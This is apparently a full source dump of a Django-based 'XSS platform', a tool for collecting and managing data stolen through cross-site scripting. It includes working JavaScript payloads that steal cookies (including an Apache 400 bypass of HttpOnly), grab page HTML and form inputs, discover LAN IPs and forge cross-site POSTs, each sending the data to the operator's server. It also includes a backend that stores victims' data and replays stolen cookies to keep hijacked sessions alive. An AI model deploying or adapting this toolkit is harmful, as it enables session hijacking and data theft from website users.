├── README.md ├── config.py ├── function ├── __init__.py ├── account.py ├── ajax.py ├── apps.py ├── email.py ├── filter.py ├── keep.py ├── migrations │ └── __init__.py ├── models.py ├── receive.py ├── shorturl.py └── show.py ├── manage.py ├── payloads ├── apache400.js ├── default.js ├── gethtml.js ├── gethtml2.js ├── getinputs.js ├── getlanip.js ├── htmlimg.js ├── keyboard.js ├── localstorage.js ├── location.js ├── music.js └── postdata.js ├── static ├── index │ ├── css │ │ ├── bootstrap.min.css │ │ └── style.css │ └── img │ │ └── slider-image-1.png └── user │ ├── css │ ├── maps │ │ └── style.css.map │ ├── reset.css │ ├── style.css │ ├── style1.css │ └── tasksform.css │ ├── fonts │ └── Ubuntu │ │ ├── Ubuntu-Bold.eot │ │ ├── Ubuntu-Bold.ttf │ │ ├── Ubuntu-Bold.woff │ │ ├── Ubuntu-Bold.woff2 │ │ ├── Ubuntu-Light.eot │ │ ├── Ubuntu-Light.ttf │ │ ├── Ubuntu-Light.woff │ │ ├── Ubuntu-Light.woff2 │ │ ├── Ubuntu-Medium.eot │ │ ├── Ubuntu-Medium.ttf │ │ ├── Ubuntu-Medium.woff │ │ ├── Ubuntu-Medium.woff2 │ │ ├── Ubuntu-Regular.eot │ │ ├── Ubuntu-Regular.ttf │ │ ├── Ubuntu-Regular.woff │ │ └── Ubuntu-Regular.woff2 │ ├── gulpfile.js │ ├── images │ ├── bg.jpg │ ├── dashboard │ │ └── circle.svg │ ├── faces │ │ └── face.jpg │ ├── favicon.png │ ├── icons.png │ ├── into.png │ ├── logo-mini.svg │ └── logo.png │ ├── img │ ├── bg.jpg │ ├── email.png │ ├── name.png │ └── password.png │ ├── js │ ├── app.js │ ├── chart.js │ ├── dashboard.js │ ├── jquery.js │ ├── jquery.min.js │ ├── misc.js │ ├── off-canvas.js │ └── particles.min.js │ ├── scss │ ├── _background.scss │ ├── _demo.scss │ ├── _fonts.scss │ ├── _footer.scss │ ├── _functions.scss │ ├── _misc.scss │ ├── _navbar.scss │ ├── _reset.scss │ ├── _sidebar.scss │ ├── _typography.scss │ ├── _utilities.scss │ ├── _variables.scss │ ├── components │ │ ├── _badges.scss │ │ ├── _bootstrap-progress.scss │ │ ├── _buttons.scss │ │ ├── _cards.scss │ │ ├── _checkbox-radio.scss │ │ ├── _dropdown.scss │ │ ├── _forms.scss │ │ ├── _icons.scss │ │ ├── _lists.scss │ │ ├── _preview.scss │ │ └── _tables.scss │ ├── landing-screens │ │ └── _auth.scss │ ├── mixins │ │ ├── _animation.scss │ │ ├── _background.scss │ │ ├── _badges.scss │ │ ├── _blockqoute.scss │ │ ├── _buttons.scss │ │ ├── _cards.scss │ │ └── _misc.scss │ └── style.scss │ └── vendors │ ├── css │ └── vendor.bundle.base.css │ ├── iconfonts │ └── mdi │ │ ├── bower.json │ │ ├── css │ │ ├── materialdesignicons.css │ │ ├── materialdesignicons.css.map │ │ ├── materialdesignicons.min.css │ │ └── materialdesignicons.min.css.map │ │ ├── fonts │ │ ├── materialdesignicons-webfont.eot │ │ ├── materialdesignicons-webfont.svg │ │ ├── materialdesignicons-webfont.ttf │ │ ├── materialdesignicons-webfont.woff │ │ └── materialdesignicons-webfont.woff2 │ │ ├── license.md │ │ ├── package.json │ │ ├── preview.html │ │ └── scss │ │ ├── _animated.scss │ │ ├── _core.scss │ │ ├── _extras.scss │ │ ├── _functions.scss │ │ ├── _icons.scss │ │ ├── _path.scss │ │ ├── _variables.scss │ │ └── materialdesignicons.scss │ └── js │ ├── vendor.bundle.addons.js │ └── vendor.bundle.base.js ├── templates ├── index │ └── index.html └── user │ ├── addproject.html │ ├── index.html │ ├── login.html │ ├── project.html │ ├── projectinfo.html │ └── register.html ├── xss ├── __init__.py ├── settings.py ├── urls.py ├── views.py └── wsgi.py ├── xss1.sql └── xssuser ├── __init__.py ├── apps.py ├── urls.py └── views.py /README.md: -------------------------------------------------------------------------------- 1 | # 使用Django打造属于自己的XSS平台 2 | ## 地址 3 | https://github.com/HackerYunen/Django-XSS-Platform 4 | 5 | ## 环境 6 | + python3 7 | 8 | ## 库文件 9 | + requests 10 | + django2 11 | + pymysql 12 | 13 | ## 说明 14 | 前端采用开源Bootstarp模板,后端使用Django打造而成。 15 | 16 | ## 功能 17 | + 邮件提醒 18 | + Cookie活性保持 19 | + 多用户模式 20 | 21 | ## TODO 22 | + 添加多个Payload 23 | 24 | ## 配置 25 | 大部分配置参数均可在config.py文件中修改。 26 | 27 | ## 使用 28 | + 1.在数据库中建好库,修改config.py文件里的内容 29 | + 2.初始化数据库: 30 | ``` 31 | python manage.py makemigrations 32 | python manage.py migrate 33 | python manage.py sqlgrate function 0001 34 | ``` 35 | + 3.运行: 36 | ``` 37 | python manage.py runserver 38 | ``` 39 | 40 | **注意此处由于使用了pymysql做Mysql引擎,故会产生一些错误,需要修改某些自带py库文件,具体请按照错误百度查询即可。** 41 | 42 | ## 截图 43 | **主界面** 44 |  45 | 项目列表页: 46 |  47 | 项目详情页: 48 |  49 | 信封内容框: 50 |  51 | 添加项目页: 52 |  53 | 修改密码框: 54 |  -------------------------------------------------------------------------------- /config.py: -------------------------------------------------------------------------------- 1 | # 网站配置项 2 | Domain = 'http://127.0.0.1:8000/' 3 | Open_register = True 4 | Add_payload = True 5 | Safe_code = 'ISA' 6 | 7 | # C7短连接 APP KEY 8 | App_open= True 9 | App_key = '' 10 | 11 | # 数据库配置 12 | Mysql_host = '127.0.0.1' 13 | Mysql_port = '3306' 14 | Mysql_user = 'root' 15 | Mysql_pass = 'root' 16 | Mysql_db = 'xss' 17 | 18 | # 默认Payload活性保持 19 | Keep_open = True 20 | Keep_time = 1 #保持活性时长,单位h/小时 21 | 22 | # 邮件提醒设置 23 | Email_open = False 24 | Email_user = '' 25 | Email_pass = '' 26 | Email_host = '' 27 | Email_port = 465 28 | Email_value = '您的外卖已送达,请登录平台查询订单' 29 | Email_title = '您的外卖已送达,请登录平台查询订单' 30 | Email_from = 'XSS平台' 31 | Email_to = '顾客' 32 | 33 | # Payloads设置 34 | Payload_path = 'payloads/' 35 | Replace_host = '<-|HOST|->' 36 | Replace_id = '<-|ID|->' -------------------------------------------------------------------------------- /function/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/function/__init__.py -------------------------------------------------------------------------------- /function/account.py: -------------------------------------------------------------------------------- 1 | from django.contrib import auth 2 | from django.contrib.auth.models import User 3 | from config import Safe_code 4 | from .filter import Value_check 5 | 6 | def login(request): #登录 7 | username = request.POST.get('username') 8 | password = request.POST.get('password') 9 | safecode = request.POST.get('safecode') 10 | if not Value_check(username,password,safecode): #检查字段完整 11 | return '请检查字段是否填写完整' 12 | elif safecode != Safe_code: 13 | return '安全秘钥错误' 14 | try: 15 | check = auth.authenticate(username=username,password=password) 16 | if check is None: 17 | return '账号或密码错误' 18 | auth.login(request,check) 19 | return 'True' 20 | except: 21 | return '登录错误' 22 | 23 | def register(request): #注册 24 | username = request.POST.get('username') 25 | password = request.POST.get('password') 26 | email = request.POST.get('email') 27 | safecode = request.POST.get('safecode') 28 | if not Value_check(username,password,safecode,email): #检查字段完整 29 | return '请检查字段是否填写完整' 30 | elif safecode != Safe_code: 31 | return '安全秘钥错误' 32 | try: 33 | User.objects.create_user(username=username,password=password,email=email) 34 | return 'True' 35 | except: 36 | return '注册失败,请更换用户名或邮箱重试' 37 | 38 | def logout(request): #登出 39 | auth.logout(request) 40 | 41 | def change_pass(request): #修改密码 42 | username = request.user.username 43 | oldpass = request.POST.get('oldpass') 44 | newpass = request.POST.get('newpass') 45 | if not Value_check(oldpass,newpass): 46 | return '请检查字段是否填写完整' 47 | user_info = auth.authenticate(username=username,password=oldpass) 48 | if user_info is not None: 49 | user_info.set_password(newpass) 50 | user_info.save() 51 | return 'True' 52 | return '原密码填写错误,请重新填写' -------------------------------------------------------------------------------- /function/ajax.py: -------------------------------------------------------------------------------- 1 | from .models import * 2 | import random,time 3 | from .shorturl import url_to_short 4 | from config import Domain,App_open 5 | 6 | 7 | def rand_id(): 8 | base_str = "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM" 9 | final_str = "" 10 | for x in range(10): 11 | final_str += base_str[random.randint(0,61)] #创建随机10位ID 12 | return final_str 13 | 14 | def ajax_letter_value_func(username,letter_id): 15 | try: 16 | letter = Letter.objects.get(owner=username,id=letter_id) #username防止越权查询 17 | letter.status='False' #修改状态为已读 18 | letter.save() 19 | return ['200',letter.rev_value] 20 | except: 21 | return ['500','禁止越权查看'] 22 | 23 | def ajax_delete_letter_func(username,letter_id): 24 | try: 25 | Letter.objects.get(owner=username,id=letter_id).delete() #删除信封 26 | return ['200','True'] 27 | except: 28 | return ['500','禁止越权删除'] 29 | 30 | def ajax_delete_project_func(username,project_id): 31 | try: 32 | Project.objects.get(owner=username,project_id=project_id).delete() #删除项目 33 | except: 34 | return ['500','禁止越权删除'] 35 | try: 36 | Letter.objects.get(owner=username,project_id=project_id).delete() #删除项目信封 37 | except: 38 | pass 39 | return ['200','True'] 40 | 41 | 42 | def ajax_payload_explain_func(payload_name): 43 | try: 44 | payload = Payload.objects.get(name=payload_name) 45 | explain = payload.explain #根据name查询payload的explain 46 | parameter = payload.parameter #查询是否需要额外自定义参数 47 | return ['200',explain,parameter] 48 | except: 49 | return ['500','查询失败','查询失败'] 50 | #添加项目 51 | def ajax_add_project_func(username,name,describe,payload,send_email, 52 | parameter,diy_payload,keep_alive): 53 | project_id = rand_id() #生成随机十位ID 54 | payload_url = Domain + 'js?id=' + project_id 55 | if App_open == True: 56 | short_url = url_to_short(payload_url) #短连接转换 57 | else: 58 | short_url = ['500','未开启短链接服务'] 59 | now_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()) #取当前时间,并规定返回的格式 60 | try: 61 | Project.objects.create(project_id=project_id,name=name,owner=username, 62 | describe=describe,create_time = now_time, #添加项目 63 | payload = payload,send_email = send_email, 64 | short_url = short_url,keep_alive = keep_alive, 65 | diy_payload = diy_payload,payload_parameter=parameter) 66 | return ['200','True'] 67 | except: 68 | return ['500','添加失败,请检查字段内容'] 69 | -------------------------------------------------------------------------------- /function/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class FunctionConfig(AppConfig): 5 | name = 'function' 6 | -------------------------------------------------------------------------------- /function/email.py: -------------------------------------------------------------------------------- 1 | #coding=utf-8 2 | import smtplib 3 | from email.mime.text import MIMEText 4 | from email.utils import formataddr 5 | from config import Email_user,Email_pass,Email_host,Email_port,Email_value,Email_title,Email_from,Email_to 6 | 7 | ''' 8 | 未读信封邮件提醒 9 | ''' 10 | 11 | def send_mail(user_mail): 12 | try: 13 | msg=MIMEText(Email_value,'plain','utf-8') 14 | msg['From']=formataddr([Email_from,Email_user]) 15 | msg['To']=formataddr([Email_to,user_mail]) 16 | msg['Subject']=Email_title 17 | server=smtplib.SMTP_SSL(Email_host, Email_port) 18 | server.login(Email_user, Email_pass) 19 | server.sendmail(Email_user,[user_mail,],msg.as_string()) 20 | server.quit() 21 | except Exception: 22 | pass -------------------------------------------------------------------------------- /function/filter.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | def XSS_filter(value): #XSS检测 4 | black_list = '.*?(<|>)+.*?' 5 | if re.match(black_list,value): 6 | return False 7 | return True 8 | 9 | def Mail_check(value): #邮箱格式检测 10 | pattern = '^[0-9a-zA-Z]+\@([0-9a-zA-Z]+\.)+[0-9a-zA-Z]+$' 11 | if re.match(pattern,value): 12 | return True 13 | return False 14 | 15 | def Method_check(request,method): #请求方式检测 16 | if request.method==method: 17 | return True 18 | return False 19 | 20 | def Value_check(*args): #检测数据是否为空 21 | for x in args: 22 | if x is None or x == '': 23 | return False 24 | return True 25 | 26 | def None_to_Blank(args_list): #将None转化为空白 27 | for x in range(0,len(args_list)): 28 | if args_list[x] is None: 29 | args_list[x] = '' 30 | return args_list -------------------------------------------------------------------------------- /function/keep.py: -------------------------------------------------------------------------------- 1 | from config import Keep_time,Keep_open 2 | from .models import Letter 3 | import requests,queue,time,threading 4 | 5 | ''' 6 | 使用独立于主线程的其他线程 7 | 来保持通用项目的cookie信息'活性' 8 | 适用于用户量不大的网站 9 | ''' 10 | 11 | def hours_before(): 12 | t = time.time() - Keep_time*60*60 13 | t = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(t)) 14 | return t 15 | 16 | def create_queue(): #从数据库查询需要操作的信封 17 | Letter_queue = queue.Queue() #并加入到任务队列中 18 | lowest_time = hours_before() 19 | try: 20 | keep_letter = Letter.objects.filter(status='True',time__gt=lowest_time,keep_alive='True').values_list('referer','ua','rev_value') 21 | except: 22 | return Letter_queue 23 | letter_list = list(keep_letter) 24 | for x in letter_list: 25 | Letter_queue.put(x) 26 | return Letter_queue 27 | 28 | def keep_alive(): 29 | while True: 30 | time.sleep(2) #请求间隔 31 | task_queue = create_queue() 32 | while not task_queue.empty(): 33 | task = task_queue.get() 34 | url = task[0] 35 | ua = task[1] 36 | cookie = task[2][7:] 37 | headers = {'User-Agent': ua, 'Cookie': cookie} 38 | try: 39 | requests.get(url, headers=headers,timeout=2) 40 | except: 41 | pass 42 | if task_queue.empty() == True: 43 | time.sleep(2) 44 | 45 | if Keep_open: 46 | t1 = threading.Thread(target=keep_alive) 47 | t1.setDaemon(True) #设置守护线程 48 | t1.start() -------------------------------------------------------------------------------- /function/migrations/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/function/migrations/__init__.py -------------------------------------------------------------------------------- /function/models.py: -------------------------------------------------------------------------------- 1 | from django.db import models 2 | 3 | class Payload(models.Model): #Payload表 4 | name = models.CharField(max_length=30) 5 | filename = models.CharField(max_length=100) 6 | explain = models.CharField(max_length=200) 7 | parameter = models.CharField(max_length=100) 8 | 9 | class Project(models.Model): #项目表 10 | project_id = models.CharField(max_length=10) 11 | name = models.CharField(max_length=30) 12 | owner = models.CharField(max_length=10) 13 | describe = models.CharField(max_length=500) 14 | create_time = models.CharField(max_length=50) 15 | payload = models.CharField(max_length=30) 16 | send_email = models.CharField(max_length=5) 17 | short_url = models.CharField(max_length=30) 18 | keep_alive = models.CharField(max_length=5) 19 | diy_payload = models.CharField(max_length=10000) 20 | payload_parameter = models.CharField(max_length=200) 21 | 22 | class Letter(models.Model): #信封表 23 | time = models.CharField(max_length=50) 24 | owner = models.CharField(max_length=10) 25 | project_id = models.CharField(max_length=10) 26 | rev_value = models.TextField() 27 | ip = models.CharField(max_length=15) 28 | method = models.CharField(max_length=6) 29 | referer = models.CharField(max_length=50) 30 | ua = models.CharField(max_length=200) 31 | status = models.CharField(max_length=5,default='True') 32 | -------------------------------------------------------------------------------- /function/receive.py: -------------------------------------------------------------------------------- 1 | import time,base64,json 2 | from .filter import XSS_filter 3 | from .models import Letter,Project 4 | from config import Email_open 5 | from .email import send_mail 6 | from django.contrib.auth.models import User 7 | from .filter import Value_check 8 | 9 | def get_victim_info_func(request): 10 | if request.method == 'GET': #根据不同请求方式获取id、value 11 | project_id = request.GET.get('id') 12 | rev_value = request.GET.get('value') 13 | if not Value_check(project_id,rev_value): 14 | return '请检查字段是否完整' 15 | elif request.method == 'POST': 16 | project_id = request.POST.get('id') 17 | rev_value = request.POST.get('value') 18 | if not Value_check(project_id,rev_value): #兼顾json格式的post数据 19 | try: 20 | print(len(request.body)) 21 | json_list = json.loads(request.body) 22 | project_id= json_list['id'] 23 | rev_value = json_list['value'] 24 | if not Value_check(project_id, rev_value): 25 | return '请检查字段是否完整' 26 | except: 27 | return '请检查字段是否完整' 28 | else: 29 | project_id = '' 30 | rev_value = '' 31 | victim_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()) #取当前时间,并规定返回的格式 32 | victim_ip = request.META['REMOTE_ADDR'] #取ip 33 | victim_method = request.method #取请求方式 34 | victim_UA = request.META['HTTP_USER_AGENT'] #取UA头 35 | victim_referer = request.META['HTTP_REFERER'] #取Referer头 36 | result = [project_id, rev_value, victim_time, victim_ip, victim_method, victim_referer, victim_UA] 37 | for x in range(0,len(result)): #防止XSS爆菊,将含有<>的内容转成base64 38 | if not XSS_filter(result[x]): 39 | result[x] = base64.b64encode(result[x].encode('utf-8')) 40 | return result 41 | 42 | def rev_letter_func(request): 43 | try: 44 | result = get_victim_info_func(request) #读取请求中含有信息 45 | owner = Project.objects.get(project_id=result[0]).owner #根据project_id取用户 46 | if Email_open: 47 | email = User.objects.get(username=owner).email #获取信封使用者Email 48 | send_mail(email) #发送Email 49 | Letter.objects.create( 50 | project_id=result[0],rev_value=result[1], 51 | time=result[2],ip=result[3],method=result[4], 52 | referer=result[5],ua=result[6],owner=owner,status='True') #将信封存入数据库 53 | except: 54 | return 'Fail' 55 | return 'True' -------------------------------------------------------------------------------- /function/shorturl.py: -------------------------------------------------------------------------------- 1 | from config import App_key 2 | import requests 3 | 4 | ''' 5 | 短链接生成 6 | 接口c7.gg 7 | ''' 8 | 9 | def url_to_short(url): 10 | r = requests.get("http://api.c7.gg/api.php?url={0}&apikey={1}".format(url,App_key)) 11 | return r.text -------------------------------------------------------------------------------- /function/show.py: -------------------------------------------------------------------------------- 1 | from config import Domain,Payload_path,Replace_host,Replace_id 2 | from .models import * 3 | 4 | def show_payload_func(project_id): 5 | try: 6 | p = Project.objects.get(project_id=project_id) #根据project_id取Project情况 7 | payload = p.payload #取payload名称 8 | if payload != 'diy': 9 | payload = Payload.objects.get(name=payload) 10 | filename = payload.filename 11 | parameter = payload.parameter 12 | file = open(Payload_path + filename,'r',encoding='utf-8') #打开文件并读取 13 | value = file.read() #修改动态Payload 14 | value = value.replace(Replace_host,Domain).replace(Replace_id, 15 | project_id) 16 | if parameter == '': 17 | return value 18 | p_list = parameter.split('&') 19 | p_dic = {} 20 | try: 21 | p_value = p.payload_parameter.split('&') #自定义参数处理 22 | for x in p_value: 23 | p_list2 = x.split('=') 24 | p_dic[p_list2[0]]=p_list2[1] 25 | except: 26 | return '自定义参数错误' 27 | for a in p_list: 28 | value = value.replace('<+|'+a+'|+>',p_dic[a]) 29 | else: 30 | value = p.diy_payload #获取DIY_Payload 31 | return value 32 | except: 33 | return 'Error' 34 | 35 | def show_index_number_func(username): 36 | try: 37 | user_letter = Letter.objects.filter(owner=username) #取用户信封情况 38 | except: 39 | user_letter = None 40 | try: 41 | letter_number = user_letter.count #取用户信封总数 42 | except: 43 | letter_number = 0 44 | try: 45 | unread_letter_number = user_letter.filter(status='True').count #取用户未读信封总数 46 | except: 47 | unread_letter_number = 0 48 | try: 49 | project_number = Project.objects.filter(owner=username).count #取用户项目总数 50 | except: 51 | project_number = 0 #定义返回字典 52 | result = {'letter_number':letter_number, 53 | 'unread_letter_number':unread_letter_number, 54 | 'project_number':project_number} 55 | return result 56 | 57 | def show_index_payload_func(): 58 | payload_list = Payload.objects.all() #获取所有payload 59 | result = list(payload_list.values_list('id','name','explain')) #取特定字段并转换成列表 60 | return result 61 | 62 | def show_payload_name_func(): #获取所有payload名称 63 | payload_list = show_index_payload_func() 64 | payload_name_list = [] 65 | for x in payload_list: 66 | payload_name_list.append(x[1]) 67 | return payload_name_list 68 | 69 | def show_table_project_func(username): 70 | project_list = Project.objects.filter(owner=username).order_by('-create_time') #倒序获取用户的项目 71 | result = list(project_list.values_list('project_id','name','payload', 72 | 'describe','create_time','short_url')) 73 | letter = Letter.objects.filter(owner=username) #获取用户信封情况 74 | for x in range(0,len(result)): 75 | result[x] = list(result[x]) #将元组转换成可编辑列表 76 | project_id = result[x][0] 77 | try: 78 | unread_num = letter.filter(project_id=project_id,status='True').count #获取项目未读信封数量 79 | except: 80 | unread_num = 0 81 | try: 82 | letter_num = letter.filter(project_id=project_id).count #获取项目总信封数量 83 | except: 84 | letter_num = 0 85 | result[x].append(unread_num) 86 | result[x].append(letter_num) #将获取结果添加入返回字典中 87 | return result 88 | 89 | def show_table_letter_func(username,project_id): 90 | letter_list = Letter.objects.filter(owner=username,project_id=project_id).order_by('status') #取项目信封情况并按照读取状态排序 91 | result = list(letter_list.values_list('time','ip','referer','method','ua','status','id')) #取特定字段并转换成列表 92 | return result 93 | -------------------------------------------------------------------------------- /manage.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | """Django's command-line utility for administrative tasks.""" 3 | import os 4 | import sys 5 | 6 | def main(): 7 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'xss.settings') 8 | try: 9 | from django.core.management import execute_from_command_line 10 | except ImportError as exc: 11 | raise ImportError( 12 | "Couldn't import Django. Are you sure it's installed and " 13 | "available on your PYTHONPATH environment variable? Did you " 14 | "forget to activate a virtual environment?" 15 | ) from exc 16 | execute_from_command_line(sys.argv) 17 | 18 | if __name__ == '__main__': 19 | main() 20 | -------------------------------------------------------------------------------- /payloads/apache400.js: -------------------------------------------------------------------------------- 1 | var website="<-|HOST|->"; 2 | function setCookies() { 3 | /*apache server limit 8192*/ 4 | var str = ""; 5 | for (var i = 0; i < 819; i++) { 6 | str += "x"; 7 | } 8 | for (i = 0; i < 10; i++) { 9 | var cookie = "ray" + i + "=" + str + ";path=/"; 10 | document.cookie = cookie; 11 | } 12 | } 13 | 14 | function parseCookies() { 15 | if (xhr.readyState === 4 && xhr.status === 400) { 16 | var content = xhr.responseText.replace(/\r|\n/g, '').match(/
(.+)<\/pre>/); 17 | content = content[1].replace("Cookie: ", ""); 18 | cookies = content.replace(/ray\d=x+;?/g, '') 19 | try { 20 | var myopener = ''; 21 | myopener = window.parent.openner.location; 22 | var myparent = ''; 23 | myparent = window.parent.location; 24 | } catch (err) { 25 | myopener = '0'; 26 | myparent = '0'; 27 | } 28 | window.location = website + 'rev?value=location=' + escape(document.location) + '||||toplocation=' + escape(myparent) + '||||cookie=' + escape(cookies) + '||||opener=' + escape(myopener); 29 | } 30 | } 31 | 32 | setCookies(); 33 | var xhr = window.XMLHttpRequest ? new XMLHttpRequest() : window.ActiveXObject ? new ActiveXObject("Microsoft.XMLHTTP") : new XMLHttpRequest(); 34 | xhr.onreadystatechange = parseCookies; 35 | xhr.open("POST", "/?" + Math.random(), true); 36 | xhr.send(null); -------------------------------------------------------------------------------- /payloads/default.js: -------------------------------------------------------------------------------- 1 | var website="<-|HOST|->rev"; 2 | (function(){(new Image()).src=website+'?id=<-|ID|->&value=cookie='+escape((function(){try{return document.cookie}catch(e){return''}})());})(); -------------------------------------------------------------------------------- /payloads/gethtml.js: -------------------------------------------------------------------------------- 1 | function help(){xssinfo={};xssinfo["id"]="<-|ID|->";try{xssinfo["value"]=document.documentElement.outerHTML}catch(e){xssinfo["value"]=""}var ajax=new XMLHttpRequest();ajax.open("POST","<-|HOST|->rev");ajax.setRequestHeader("Content-type","text/plain");ajax.send(JSON.stringify(xssinfo));ajax.onreadystatechange=function(){if(ajax.readyState==4&&ajax.status==200){}}}help(); -------------------------------------------------------------------------------- /payloads/gethtml2.js: -------------------------------------------------------------------------------- 1 | var u = '<-|HOST|->rev'; 2 | var cr; 3 | if (document.charset) { 4 | cr = document.charset 5 | } else if (document.characterSet) { 6 | cr = document.characterSet 7 | }; 8 | function createXmlHttp() { 9 | if (window.XMLHttpRequest) { 10 | xmlHttp = new XMLHttpRequest() 11 | } else { 12 | var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP'); 13 | for (var n = 0; n < MSXML.length; n++) { 14 | try { 15 | xmlHttp = new ActiveXObject(MSXML[n]); 16 | break 17 | } catch(e) {} 18 | } 19 | } 20 | } 21 | createXmlHttp(); 22 | xmlHttp.onreadystatechange = writeSource; 23 | xmlHttp.open("GET", "<+|filename|+>", true); 24 | xmlHttp.send(null); 25 | function postSource(cc) { 26 | createXmlHttp(); 27 | url = u; 28 | cc = "id=<-|ID|->&value=" + escape(cc); 29 | xmlHttp.open("POST", url, true); 30 | xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); 31 | xmlHttp.setRequestHeader("Content-length", cc.length); 32 | xmlHttp.setRequestHeader("Connection", "close"); 33 | xmlHttp.send(cc) 34 | } 35 | function writeSource() { 36 | if (xmlHttp.readyState == 4) { 37 | var c = new postSource(xmlHttp.responseText) 38 | } 39 | } -------------------------------------------------------------------------------- /payloads/getinputs.js: -------------------------------------------------------------------------------- 1 | function postData() { 2 | console.log("aaaa"); 3 | var output = "value="+document.location; 4 | var inputs, index; 5 | 6 | inputs = document.getElementsByTagName('input'); 7 | for (index = 0; index < inputs.length; ++index) { 8 | input_name = inputs[index].id || inputs[index].name; 9 | console.log(inputs[index].value); 10 | output = output + "||||" + input_name + "=" + inputs[index].value; 11 | } 12 | 13 | //output = encodeURI(output); 14 | console.log(output); 15 | 16 | //new Image().src = "<-|HOST|->rev?id=<-|ID|->&"+output; 17 | 18 | } 19 | 20 | setTimeout("postData()","<+|timeout|+>"); -------------------------------------------------------------------------------- /payloads/getlanip.js: -------------------------------------------------------------------------------- 1 | function getIPs(callback) { 2 | var ip_dups = {}; 3 | 4 | //compatibility for firefox and chrome 5 | var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; 6 | var useWebKit = !!window.webkitRTCPeerConnection; 7 | 8 | //bypass naive webrtc blocking using an iframe 9 | if (!RTCPeerConnection) { 10 | //NOTE: you need to have an iframe in the page right above the script tag 11 | // 12 | // 13 | //"); 2 | var method = "POST"; 3 | 4 | document.onreadystatechange = senddata; 5 | 6 | function senddata(){ 7 | if(method == "POST"){ 8 | $.ajax({ 9 | type: "POST", 10 | url: "<+|url|+>", 11 | data: window.atob("<+|postdata|+>"), 12 | beforeSend: function(xhr) { 13 | xhr.withCredentials = true; 14 | } 15 | }); 16 | }else{ 17 | document.write(''); 18 | } 19 | } -------------------------------------------------------------------------------- /static/index/img/slider-image-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/index/img/slider-image-1.png -------------------------------------------------------------------------------- /static/user/css/reset.css: -------------------------------------------------------------------------------- 1 | @charset "utf-8"; 2 | /* CSS Document */ 3 | /*Reset*/ 4 | *{box-sizing:content-box;} 5 | a:hover, a:focus{text-decoration:none;} 6 | body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,form,fieldset,input,textarea,p,blockquote,th,td{margin:0;padding:0;} 7 | table{border-collapse:collapse;border-spacing:0;} 8 | body{-webkit-text-size-adjust:none;} 9 | fieldset,img{border:0;} 10 | img{ vertical-align: top; max-width: 100%; } 11 | address,caption,cite,code,dfn,em,th,var{font-style:normal;font-weight:normal;} 12 | ol,ul{list-style:none;} 13 | caption,th{text-align:left;} 14 | h1,h2,h3,h4,h5,h6{font-size:100%;font-weight:normal;} 15 | q:before,q:after{content:'';} 16 | abbr,acronym {border:0;} 17 | .clearfix:after{visibility:hidden;display: block;font-size:0;content:" ";clear:both;height:0;} 18 | * html .clearfix{ zoom: 1; } /* IE6 */ 19 | *:first-child+html .clearfix { zoom: 1; } /* IE7 */ 20 | .cli{ clear:both; font-size:0; height:0; overflow:hidden;display:block;} 21 | .lclear{clear:left;font-size:0;height:0;overflow:hidden;} 22 | .fl{float:left;} 23 | .fr{float:right;} 24 | 25 | /* ֹ 26 | iframe{nifm2:expression(this.src='about:blank',this.outerHTML='');} 27 | script{no2js:expression((this.src.toLowerCase().indexOf('http')==0)?document.close():'');} 28 | */ 29 | /* ıԼ˶ 30 | div{word-wrap: break-word;word-break: normal;} 31 | p{text-align:justify; text-justify:inter-ideograph;} 32 | */ 33 | /*general*/ 34 | body{font-size:12px;font-family:'微软雅黑',"宋体","Arial Narrow",Helvetica,sans-serif;color:#000;line-height:1.2;text-align:left;} 35 | a{color:#333;text-decoration:none;} 36 | -------------------------------------------------------------------------------- /static/user/css/style1.css: -------------------------------------------------------------------------------- 1 | html,body{ 2 | width:100%; 3 | height:100%; 4 | } 5 | 6 | canvas{ 7 | display:block; 8 | vertical-align:bottom; 9 | } 10 | 11 | .count-particles{ 12 | background: #000022; 13 | position: absolute; 14 | top: 48px; 15 | left: 0; 16 | width: 80px; 17 | color: #13E8E9; 18 | font-size: .8em; 19 | text-align: left; 20 | text-indent: 4px; 21 | line-height: 14px; 22 | padding-bottom: 2px; 23 | font-family: Helvetica, Arial, sans-serif; 24 | font-weight: bold; 25 | } 26 | 27 | .js-count-particles{ 28 | font-size: 1.1em; 29 | } 30 | 31 | #stats, 32 | .count-particles{ 33 | -webkit-user-select: none; 34 | margin-top: 5px; 35 | margin-left: 5px; 36 | } 37 | 38 | #stats{ 39 | border-radius: 3px 3px 0 0; 40 | overflow: hidden; 41 | } 42 | 43 | .count-particles{ 44 | border-radius: 0 0 3px 3px; 45 | } 46 | 47 | 48 | #particles-js{ 49 | width: 100%; 50 | height: 100%; 51 | position: relative; 52 | background-image: url(../img/bg.jpg); 53 | background-position: 50% 50%; 54 | background-size: cover; 55 | background-repeat: no-repeat; 56 | margin-left: auto; 57 | margin-right: auto; 58 | } 59 | 60 | .sk-rotating-plane { 61 | display: none; 62 | width: 80px; 63 | height: 80px; 64 | margin: auto; 65 | background-color: white; 66 | -webkit-animation: sk-rotating-plane 1.2s infinite ease-in-out; 67 | animation: sk-rotating-plane 1.2s infinite ease-in-out; 68 | z-index: 1; 69 | position: absolute; 70 | top: 50%; 71 | left: 50%; 72 | margin-left: -40px; 73 | margin-top: -80px; 74 | } 75 | .sk-rotating-plane.active{display: block;} 76 